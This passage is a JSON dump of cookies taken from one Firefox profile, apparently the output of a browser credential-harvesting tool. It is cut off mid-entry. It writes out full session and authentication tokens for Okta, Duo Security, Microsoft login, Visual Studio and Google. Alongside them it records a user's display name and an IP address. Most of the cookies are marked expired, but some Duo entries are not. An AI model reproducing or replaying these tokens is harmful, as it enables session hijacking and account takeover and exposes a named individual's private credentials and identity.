"CgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA", "Expiry": 1547608854, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/search", "Name": "CGIC", "Value": "CgxmaXJlZm94LWItYWIiP3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOA", "Expiry": 1547608854, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/verify", "Name": "SNID", "Value": "AGRGHO6QHrVrOxLFGr7rk0whYmanv-Yt0NiPe4u_HLWSmwvfuRb9rKBMkf6HQNvTewpJ2Op8iY-pGQ773aac", "Expiry": 1547382379, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "_icl_visitor_lang_js", "Value": "en", "Expiry": 1534422385, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "VSCOMGeo", "Value": "false", "Expiry": 1534422389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MC1", "Value": "GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646", "Expiry": 1563366389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "MS0", "Value": "95c7cc889f304134945b37edd6a8a421", "Expiry": 1531832189, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "visualstudio.microsoft.com", "Path": "/", "Name": "MSFPC", "Value": "GUID=17be3a93de2d4ee9b6183870ef7a31de&HASH=17be&LV=201807&V=4&LU=1531830389646", "Expiry": 1563366389, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "DT", "Value": "DI0CAq6_IhTSTqow2RunhKcdw", "Expiry": 1594902411, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "oktaStateToken", "Value": "00tWCcr55PVItt5EgoafFC8V8rYoCmZ7mVPUz0Sfff", "Expiry": 1531830724, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "api-81556a20.duosecurity.com", "Path": "/", "Name": "trc|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O", "Value": "EPZEC9PWG6PELMQIT1R3", "Expiry": 2147483647, "IsSecure": true, "IsHttpOnly": true, "Expired": false }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "api-81556a20.duosecurity.com", "Path": "/", "Name": "hac|DUD6DIRR543N9IBROX6Q|DAZP9NPAYTJWJEMDJ86O", "Value": "|64.124.12.162|1531830438|a70d281e4438b3d8bfe84f32a61684be948d3b62", "Expiry": 2147483647, "IsSecure": true, "IsHttpOnly": true, "Expired": false }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "ADRUM_BTa", "Value": "\"R:50|g:d865668d-daca-410a-92ff-c44770628b5a|n:Okta_6d5b1e30-d05a-4894-a37b-81b5f6c60e0e\"", "Expiry": 1531830468, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "ADRUM_BT1", "Value": "\"R:50|i:11276|e:63\"", "Expiry": 1531830468, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "crowdstrike.okta.com", "Path": "/", "Name": "proximity_0371cacd3c86c11110ce4a7c15c77e19", "Value": "AMZGnO6o/2MBiNoUnYqDF4QuXiAX2tjRZ3EZEWkyQNBJpqvois7unYHbEn9CQk1aRt/dDJ62exueVegL+oeH32etEMYRBZ4mZ5mnucIAjGB7oQDm7xzGBvsn4EOVfUmfP2WoF3BIFXcM/eUVl+BIXrSqz8k2jgHuV2LneZmwtRT4FDljwMnA/ykCkZUy/au0", "Expiry": 1563366439, "IsSecure": true, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".login.microsoftonline.com", "Path": "/", "Name": "ESTSAUTHPERSISTENT", "Value": "AQABAAIAAADXzZ3ifr-GRbDT45zNSEFEqN3lcIcVk_txN002M0aSKQ3vHW-KKOvT0l2FZ5krXRiGe96TPP0Tcdc6aThD24EQH8XwfNYwKzYh6BSJahL-oq-FqtQOVLX6IP0IHlIhxw-Ihyfe0FqrqvTD43U2Y61kdV9Rw3nKJ-o84ELeq6SnuvDQVWEa0gLrhMj6Ik1XYwnl7l6WaT97koJKqKiVkJ1iuYOGM14-4P5Z0RrE80sH9UpU7lILLtXYP0YzVKWnoa-Uwe0dHjL9vSG_PkueznTUAxucsJQk2oUrzIlA1yJUM3SeE_SorL1eWJCWTxwzllEh9ehA55c3PSRxk6_tWpa_Hl9sKQE0AZGVFdH8TNX5OBttLH77N-umvMYVf2FDyTSviNUBGpfuL_nFmLZBw9B8Qwkp7iLFzpMZ_uJIYFzR6AgqEWS-_empWfontUAITrgfrGEpEMBVFXl9OtIHHwXlpol4NUzw6qDIhTaTr_xSOrzPhBOGBZarDixDjEMzYL77D8X2dlwK7zPHgdu0TwDgJ7V_VMbnhivHTN50xlFCMutxdLodQe0yneDFsxtWkDZi-Rl39EBMbfH9HvKOxlkjE5GFIPxcCFvOSHqdohyPLKcqLzR2pHQU3etiM10t3NkgAA", "Expiry": 1539606443, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "login.microsoftonline.com", "Path": "/", "Name": "buid", "Value": "AQABAAEAAADXzZ3ifr-GRbDT45zNSEFERgmHaE21nvvOTVY2_75NkZGI-YsBWBOulFAsZCsrrazoD5DQYQgBT_JZuf__eWQggSLq9PdegrrzFZkXIh3A2gMy_FuhlXOW57d9R1-d9Uuti08zZmHg5eKAHcXs5BhZVzGDuYQQwVXl-TJShRyYQXZ3-1bRaTsFO7WjwrAFzCEgAA", "Expiry": 1534422443, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".login.microsoftonline.com", "Path": "/", "Name": "CCState", "Value": "Q3VjRENrUnRZWEpqTG5KcGRtVnliMEJqY205M1pITjBjbWxyWlM1amIyMThZWEJ3T2pRNU9XSTROR0ZqTFRFek1qRXROREkzWmkxaFlURTNMVEkyTjJOaE5qazNOVGM1T0JLVEF6Q0NBWThHQ1NxR1NJYjNEUUVIQTZDQ0FZQXdnZ0Y4QWdFQU1ZSUJTRENDQVVRQ0FRQXdMREFWTVJNd0VRWURWUVFERXdwTlUwbFVJRU5CSUZveUFoTldBRkFQYkxqbkNEUUZXZllJQUFBQVVBOXNNQTBHQ1NxR1NJYjNEUUVCQVFVQUJJSUJBR08rUElFbUptYm5JUllvRjRXRXNxZ2l4VXFFTmJNd0V4TnpFQW1FbHRZa2dYRnZNOXV1MnBCTmVmV0ZxWEhTTHlUSklUaE1UcUhrUW9OemYwUndpN2pLVTZFUXd4V0UweitoQmxoc29DNlExRFI5NjFDR2pydnZCMkgvOTBYbEJYY2l5YTdtVTQvd0xPcDJ6M0R0UFR0N0k5TDU3bGNyM29lL2RGL1E5dElFM21QSks3NmlpK2I1M25wTXYrNEE0WXRNTVdwUUdjVGZMYkd6R3plamV0MVJKZUNkaTVIUk5tRzB5b3ArOUMwTExhSCttNmI2UGlCMG5GdmcrMWk4bFV3dnhFZW84dnhxU25xLzYzd1hyTUlHMzM4cVNWeTh2Mm92MmtPSjRvVW5rOG9QU1YyWTZmQldEcDZ5VHFRanU0Sy9WRFU3VVNvbkt1MzRiMU93WWswd0t3WUpLb1pJaHZjTkFRY0JNQlFHQ0NxR1NJYjNEUU1IQkFnQ0JldldwU3c2UVlBSUxlbmY0ZTlqZ1dnYUNRbHp5UVh6Myt2VlNCSVNDaEQ3SmY1Y1cxSmxTcWp4a1dTUitBWnZHZ2tKdDJ2WXBlRHIxVWc9", "Expiry": 1534422143, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vsaex.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8xMzY5OGEwMS1iMDllLTRjZDYtYTRhNi03MjEyYWRhZTFkYTItQTY0NzUxQjY3RDU2NzgzODc5NDBFMkM1RkM1NzA0RjMiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTU5YWUwYzUtMGM0Ny00ZjkzLWExNTYtNjM1Njc1ZTIxN2I4PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWVLNUJsOHJtSHI0c1dDcitMbjBzM3ZOSEkyd0hPcnhiUzJsT1VlL2VLYkZuUGdiZGUxQmJqcGdDcjFEMXhEOXBZRm8rKzVUNUF1MXBnc21VWEtiWDlvSmNNeTBTRURzcmk5WkhDWFZieUUrSTIzencyK2JZaS9JRklrTUtmQXlXTk5YMmhUSDM0OUZaS3M2M09DR0hLVGJVT3lzSTBodk90REF3Znk3NG9aMUx0U0VVVkloMmNqc25adVEwcUNHeEZIenhYR2thMjRIK1FWeitnb1ZHd3RjeFEydkh5cGdVYVZQYVN1U2hLWmEvd1lQME9uendhT3lVa0F6ZWJPR2RUSm41Zzl3WjI4bWJSUnkvOVlEQnJKbUE3ZDJBTWcvdUx1NDU1TjdSQWp5ZWgvbHpIRm00amtaVm5QVTl6T3pwVEZuUFhrSUo4R1NhVzhrYlhEYkNDTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBS21NbVljWm9VR3ovcGxYblJwcm5jWDVMbXBpemFpYk5oNkFtY0U1TVQ1bm9CMklpbU9ZQWZITVNpc2dBQUZDdEFNM1d6Nk80Y3dnblBJSlVuZmEreUVFdm5xVUZ3VVRLeUlEdTZFN1I3Ykh2UWFudGpPZTdQZnpTTzNmYVZ2UEFEaGROQzFqK0ZzdFBpWXA2aWFHM0tPaGJiRXduTWtyeEdybmxTVkxFRVIxVmg0cFJwSzZRSm5lMG5qbDJDYWNVYm0zVGFNNXBYZzFZcWtvT0drNURwMnZqNUJqRGtXdXBTRWJhb3A5VzZqWHQvbWNrcTRKYnA5SFB0QzJiWVhnQ2pVWXZuUXlhRkVYVlcxTUxiclFpSkczL29tY3NFWHpNODgwQk4xY0lSS3gxOXRHVmdlT3VxR29uYWdNbSsyWDY1OXV1Wk1hMklWVVNscHZHZ2ovSkREZ0F3QUFjQnRRU0xMOXcvSXRHeTF4MDZ4VUJwZGRBZ2tPOWxLQ0JNWE1hbW8vZDQ1WG82UTBYdDQ5aFd4UjU2c1ZNZXhuTk9xRjFKNzZxSzFDTXNNdnpLQmorUWhwUkxUS3lsaDZwaVJLK1Y1WjZ5bjQzVkMvTW5WMVdVZEFCN3FtbmZaa1V3UnBYeTgvbjVoODVhTW8yQTBSSlJBdklMbm9HaEN6dHBOWVBFNXN2d3hETEw0SkJlRnFXVzVhSXVNUU9sb29udnBFYy9OVThncElod1dabDQzMkNFanVNQkxmNHpCL2R0Um5IR3lXbDJvWWJoSWVIK0RaLy8yNmRGa0JBMnYxZm9nSXY2b25LY1NiZlYzUWJ3QnBvMC9VQ25nZnJEMis4MGE3azJPTERVOUl2MTV6TzZT", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vsaex.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "MzBwcUQ4d3BNZHZ4cDhCd0ZacFdrWlNrYUM3VFFEbWkreHptSm9VN1dmazgya3FQajVjVzZvd29jenFiVnc4cVhua213eDJJZ2RjWXFnNkNCZXByU0x6emJ4cEY3RWM5Zmg1NUxjb2wxNzlCTmFsS1hCcElXZ0hyRS8vQk83Q1gwMHVCVTB5aldndzYvVUNPNlNVYlN3TGUzTVdISWZUSzhBZ2JVSS9MMXhlUHErMmh6aTJUYWZrZkxVMkd6dlFyT0F3SlAzSlk5TzBNQ1Q0RHhPOEw4NVBBS1BzMG8rSWtTM2JyTlhJRmFsSVI0WnkzWHkxRGMrNU9heVB0MzJHc1ZsenorZE5hRjNaQzBCcmI5Z2lKcktlQitOclU3aFhtbWVaczQ2VzZXREhWMkVBT1RNUnpKOWUrcGEzRmxMQmxGK3Z4ZTRPbCtlWDltSVlCVG8wczA4NXJkTDhjK2JJMUJQU0JWTGp1aE5BY2VEamZEQnVKN2JVS3hINmNQWHJsVFZVVndKM2NXUVhHVHBJaTJjb3pPTk9Ud3l5K0lvM2o4ZXRYRjZNZDhRRFdJMGVqK2c0R3QrVlJOWHFGR0tHSS9iKzNtdDRjcnhhMXdhYUt1cDVpYUN1RG9qZmFNdEFyeC8rQi85WFVsaEJSek1TRDZMRTJkSUhQbitmL3NOUUticHBrWnpHaEdlM1dKL2kyU2JudVcvTDFTbHExdy9SQWRjV0VmWW5leWNnYzlERlF3SmVnT1gzbjJPcm42OUFxM3NselhTY3RaazVobWowNGttSUh5YU1rbUd3OWJsQUdVY2NKYjdtUUF6NkowYlNRNlZOV2RjSGpCTDduZW80OU40c3NPa3VWNDBpTE0yQUxHMy9ZK0dFMVhmejBhNDN6YlFVdTM0L1o4cmxzbkI2YXZEc3hRVVdpd3NIMmdoWDd0MCtpNU5LckwyMVlEbVl5TFhNVjNxaU5LL3hRRjhFMStETE5RZ1l3ZzJzODJPT0FYZVZjSHpzbXYrV0UrVjEvRzB3OVVZZTlRMndmczNrZEhiUVQySDZVVEhIaUNjbDFJa0tsNlh0STlMNG10cXlZUldpK2ZYUzJDZVpFVjFYNjZlaE5pVUxUS0dGaTNPMVFuSlBwVHVJL2ZZeFJWc0hRMGVwYVViQjJFRjR4ZVBmREtVU3BXNG5ueDhhL0w0MTRYY3hCU3JDNE43WVAwNG5Pd3pzbjNlVHZTOW5samxkbnA1TTJGdHYraTRWYlFCUjVhZWFYa29Tb1BpRW5oL2x3YSszVkduTTBEaGUvTVdHMzhWcitCelBiNEEzSUhyL0oyeW5za3NYSjU5TDdpS3RqdUU5akZKVmM9PC9Db29raWU+PC9TZWN1cml0eUNvbnRleHRUb2tlbj4=", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".google.com", "Path": "/", "Name": "NID", "Value": "134=DJVDrFMJ_7WTMaThq4BwXW48xuuFIjrxm6k6mZ_-IesJ-g-kLcQY3mKLWPvC920yPSSa9r-hjI1JU5myF94eyuiNLyOIiQ47NoAWAf2r4JCnxGybgSxyJy1gh2I-6ic3JfcTIYjB9Bc", "Expiry": 1547382453, "IsSecure": false, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "www.google.com", "Path": "/", "Name": "DV", "Value": "gw7SsgaDfBIQ0N8QXx_eM9eFGkqDShY", "Expiry": 1531831057, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".microsoft.com", "Path": "/", "Name": "_gali", "Value": "c-shellmenu_85", "Expiry": 1531830496, "IsSecure": false, "IsHttpOnly": false, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".visualstudio.com", "Path": "/", "Name": "SpsAuthenticatedUser", "Value": "DisplayName=Marc%20Rivero&aad=False", "Expiry": 1532435266, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": ".visualstudio.com", "Path": "/", "Name": "VstsSession", "Value": "%7B%22PersistentSessionId%22%3A%22d4708cf3-5d30-49b9-a6ff-e56cc387292d%22%2C%22PendingAuthenticationSessionId%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22CurrentAuthenticationSessionId%22%3A%22a452f370-9678-4bfb-bfa8-2d1cd43699e3%22%7D", "Expiry": 1689510466, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vssps.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8yMmNjZWU4ZC1hMzdmLTQwYmQtYTZmZS1mOWRhODEzNjQ1ODEtNEI5N0I0REMyNDU0NEMwMEJCNjA0NjM3OEI2QTk4OEUiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6MTIzOGQ2M2YtNDA3Zi00MzA2LTgxY2MtZGMyMDgwNDFmMjE1PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWJwWFNSbnlLQVo0VHpWbXdOTDB6WVVrQTBTRDBaUTJqa24xMW8xTUp4SXhSUkcvUGhMWEZVU0FSdDBVcHNsSC9MRStmMWJRUXo1RFI1Ny9rdWFCSVYvall2MWp4TkRLQ2YrSThwZm5qanMvd3Bna0ROWGhMakZqczB3OHpGcXhDZ2VpeHhHaW9CN1NIYjFWWm9JV3krY0FCUThoNUIvZWxDUTFYUFd4NnRLT3lxY0tjYWdMb3BRQ3NjbVQwZ1oxUzE3T0FTYmxxc0VZRWlra0hsOUtZTmt2QmVUQ1VDQjB6cmFtakNFWG1WdVZteWx1eWRtM2hZZWFob0U4WW10ZmtYVkRDbXdMRHpPbDRJTk1nRDBIdUluNUd2ejh5SkxWUm5NV2NjZ0xBVnA5MXFvMksyWEpJczVnZjQxdUF3UmFTVU54UXY1TzdRMkUwSitla2wxcGxmTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBSzg1NFQrMlR3cmJJYWY4TjhKQ3p0TnYxV25ESG5QaFZwTGZjVlB2Zk9nczExdlloanJyRTNXcENLdjVPN0JrRHdxQWprNHBZWm5QL0J4QU5lbzJMajJwcEFHUnk5ZzNqUXZxTXFEckUvOUl6MHNscXlLb2dETTQxQ0NEQVJHaGV0SFIyTWwrR1hNdm9tWVpGRmw2citxRTk1L2FURW1GUjlGbytCM3grSnFUV2FKNW15bmo2UHRSdjlVaEdFdTI2c2ZzeXgwbWVaVCtqb2pLUE56cytkaDV2ZHd3RENJTWpjYWlvYU10L0N5VkVnVml0ODE4Wi9QeHNSVk1XTUhzY0F1dmdNd2FpaEZNeHdRYisyZzQwSXpIcWptSkhIYlJKUWc4THQ2bVpsWXBhQXI5NWhtRS9uY1VzYXRtTU95Sng5YlFJUU5CR05ZQ25zL0hZcFZLQkI0QUJBQUF0Q2RWc29HRHp4cWQ1OS9Fb2IwUkVLTmczVzUzQUNRSDM1SlNoalM4RXNSRTVYTDNxa24zVUtXMVoySG4xNmZEd3RqYzNIUi9NU1ZxSHpWVTM3b3hYOU13TzZxTUFQZE1mMG1IbjZnRkRvQ1RuZUN5eHRkTnp3RFRZUWxKK09PWUl3L3hGNFZEc1ZudjRjUVdXWWtqUmtRVlFkZFFMdFIwRUVxRUJPTTdHUmlUamdQWTg1enJQelRQeC8xS2NnYVBHRFNYRXVvQWVJMm00eCtzOExPM1ZCVUx1VHlsMWc3ZnU4aHJFdW9HTG5lVG5vZnRadm9hRFhQTE9aZnpOUysrenk5ckxjZEJDai9CenMrS1FvYWpHQWcySzB1enJvWHRDdWZNVlFwc1lqeEVJZk9teWhH", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "app.vssps.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": "a2s4Qzh4SFI0YUZHbzFiVkFVWDJHdUJuMUZpNXBIUEN1R0NDZ0t6amZqVys4QlA4YitKQ1c0VmVjeWdTdlVrSUVqc3JiWm1ld0ptYnVaQ21PaENaSEN2U2NUS0FIWDJ0UXQrU3loQVV2eGVreWhrY0xIeTVpOHRWUnJRM0RCNmpUdE56YjlpNjV1bzBUc0lOZ1FpWFdZNUZEcDk5dVdQM1J2TGR1UEg4WXd4Y2tnZUJCNDh5ZnAvcTNyOVNENms5YTFadXRtYi84Vy9nZHpyMWsvL0pNWEpzb0h2cDNJRGxVK0JOOVdhT3dCamdURTJ4T3RZV3RvOWJUMVJxN3hUb1RwVFlkQ1V0QmtvYk9RMmpCTmZpQ3dOYmsvaDlCZUFHT2xxVmE3MGNwajRPbEJtMUg3dzVXWk80czVkVlhvTHdQMVV2bWdDQmpJOWtFbTNLbXlDWlBoWkozQmthTzBPYjl5cHFvcnEvNVZsVWU0cm1keGRTM2xZRFRheFhmSUwxR1hFTVhVRndBYzhvZHJNYjlrME9LR1dIK0xIZmVYQVo2RFFLcWMxcllFd0tpaExLRFRMR2M1Z0tNQStpMmF5MmVnNldvbExCSVJ5WjgwZTBOb2NralFQOHlkTVJXUlcrU2V3eVlJbitaM2UxSG1JTTdmWDh0cTFZWm0ybCt3QzUwMEpWVnVqOUJTL1FSZ0lSQjd2b0MvZEwrYlNHMm1VcHFwd081RmtTNktvQkxPdDZHOG1yaStPUHkrR1IwVk1qUVVzUERGT2JBdlVLcTFjejBENHQ1YmRFcllsZHRtRU43azl2YzRrckdvR2lDbTViSWJlTnQ2NlJBODdtYXgzMStCNmtBd3ZUdkFlcWhra0N1Sm43bStleWR1QVJSbmV6d3kwYnJEVU9KNFF2TkJjeWFFSWdHRU9zWU91dTYzYUdybUxLTStqV0NlNnQrTkxrbUtJWEVqbW5WZzR4S2htME5KMzI1bWt6RmhuMEppTTRTNTQrUFlpTUdnQ0xYZTQ3Ly9nY2xIaVFvS2E5UVJ4ZE0xUGRBZG9wcGdHMXJ0N09NK3NMZ25HdThtUEtUTFJmOFFpcnM3MlVjMURoc0Rnajl1UjAwWis5T0RrZ090c3BqM2FzVHAwZTI2QmJnTHMza2hIY09Ia1lXS1JGcFZBRU5JMi85UWNaejdZQ2pGKzVqWDJ5dDRPSVZTdXhlN1FENmdyajBsM1FSNUhUNWhOMWlWOEE5S2lQSjFaRWpsN1p5M3E5TUVxRDE5UnBuMHNYRlhHenU5NVRHMmpPY3psQTQ5QnkrMkptbk11VFhMYTJUbnd0RDlXRnlqbVlKMW1OWTRFdFVrWkg5UGpmWjBGbCsrYzZkTlphbU1sUm9aaGRvVjZieCtTbVFIaUlnOVVkWkZnPT08L0Nvb2tpZT48L1NlY3VyaXR5Q29udGV4dFRva2VuPg==", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "my.visualstudio.com", "Path": "/", "Name": "FedAuth", "Value": "77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il81M2VjYWU5MC03NTk2LTQzZDctYWYyZC1iNGI0MjhmZDhiZjgtMEFBN0QzQjE1Q0U1MEY1NEYxMENGNTg0NUI0MjE4ODciIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTZiNjIyODYtNzA5Ni00MjBmLWE4NzAtYmU2YTY0Y2IxN2M3PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQU80a2t3Tkc1cXA5TzMyTFhsSlVVU2sxa3hsbGFaL0NZYy9ZR0hGRWRCY25jQzRabkdqWWVSMlExYTB4QXlTV3grYTArMUNaODdiYVB2NUx4aTQybVJ5MGR0b05ubUlFdU0xRmZ2YW9tcWxBWGNudzVFL1B4ZkVhVkJibTJxaS9zTzVHemMzZ1Flbi9JaG9IS213MEgyZXFBTnNISzU0U1p3MGJWb3lHVmJabG5DckFrSXh2Q0ZCOFg1WmZmalFiSXJUaWh2MXNmK29tcE4zYjc3Q0Rwc3lqWUpyQW1TMWdEQnJnOXVvZ0QwTDhiVStSVTJNTVV0MURZMGx5N2tTckFrNmtHTE1LMEF5VytCaUFJa2hlZjBCVC9OdXc1QkZWOG04UTgrUmw4TU9rQ1Q1MVNlVnRQSjV5QUFkNWFrK0R5ZXdXempJV24yZjNRbHFHZEVPRVRCTVJrYUxRM09ibEdUUW9qWmp4TU9rb2VQeFVkcjhxcks2MDE2Y05ncGdNUkFBRUFBSXNCUGlqU2hZQ0Y3N0lndmNsT3dYbkozM3phZSsrYUFkRDU1RE9CMERVcmE4VS9WK3oxNjd6WjVGWXNvZ2tpWlhoUWpPekxDd3JtczJmNFJoYkxSMUNLZlkyZ2NHNmxlTnlmWms3a1JUbktBY3Rha1pvSVQ3TFZEU09EcjlUaUFLWSs1NTlzeHFLWWFGMFY5QWVoU0tqc0tGb1ZnbVhxQzEzTzJEaHNSaUY5bFNBcEJlNEtNNlA5c1dLNnlIUlBnK2c2YXoyUklGZS9IMmdjOUxsWmltVGlRR2xhSkdBalU2enp1YS9kNzBGazQ4MmkvdTM4VE1wSjNVdTBCRnlZamVVODNxTDcxbXdYZXU4MVplRi93dnBBaVQzUVRwYmQyQVQ1MytVTnh0azVHa2RuVnVXQVJ2R2lMUEV6MlBGanpFNGVxWlVKdERHVjRhL3ZCL0Y1Nm1QZ0F3QUFRc2w5anNTY3RVaXdTczNhT3BGWDRUK0cvL2g4WEtSMm5qNnlXbVV3aG1QSzZWZ0tzLzJYaWt1a3ptenQ5alZpRzVCcXlIeUJmM3NEMVZMdlpMZ1Bueno2b2dQZkQzUGprZ0dnY0QwUnRJNEVXdW9xNUZBL3pKdE1ZK0FpaGo3anlGcnM3U1FtQWZyTitNUnZFelpSQzJsL0JqeGowS1FlZXFmbDM5ZVNZdFMzV21jUmRRRDd4Um1FemduUDFLbEhMZ2YxbTJoc0F1c0NqZnM2N0daWTRJaC9JMG9QQ0JOKzBSM09RSmlQVUtlTlBQcEtER3ZTOG84Y29hZFd6MDkzd1dhV3E0L3JrSDRBc2Fvc2NpRmtPMDB2NTRQdzAzOCtOaGlWeHYrOGVXWC9uZk16SGlU", "Expiry": 1532435243, "IsSecure": true, "IsHttpOnly": true, "Expired": true }, { "Browser": "Firefox", "Profile": "ywzu7870.default", "Domain": "my.visualstudio.com", "Path": "/", "Name": "FedAuth1", "Value": 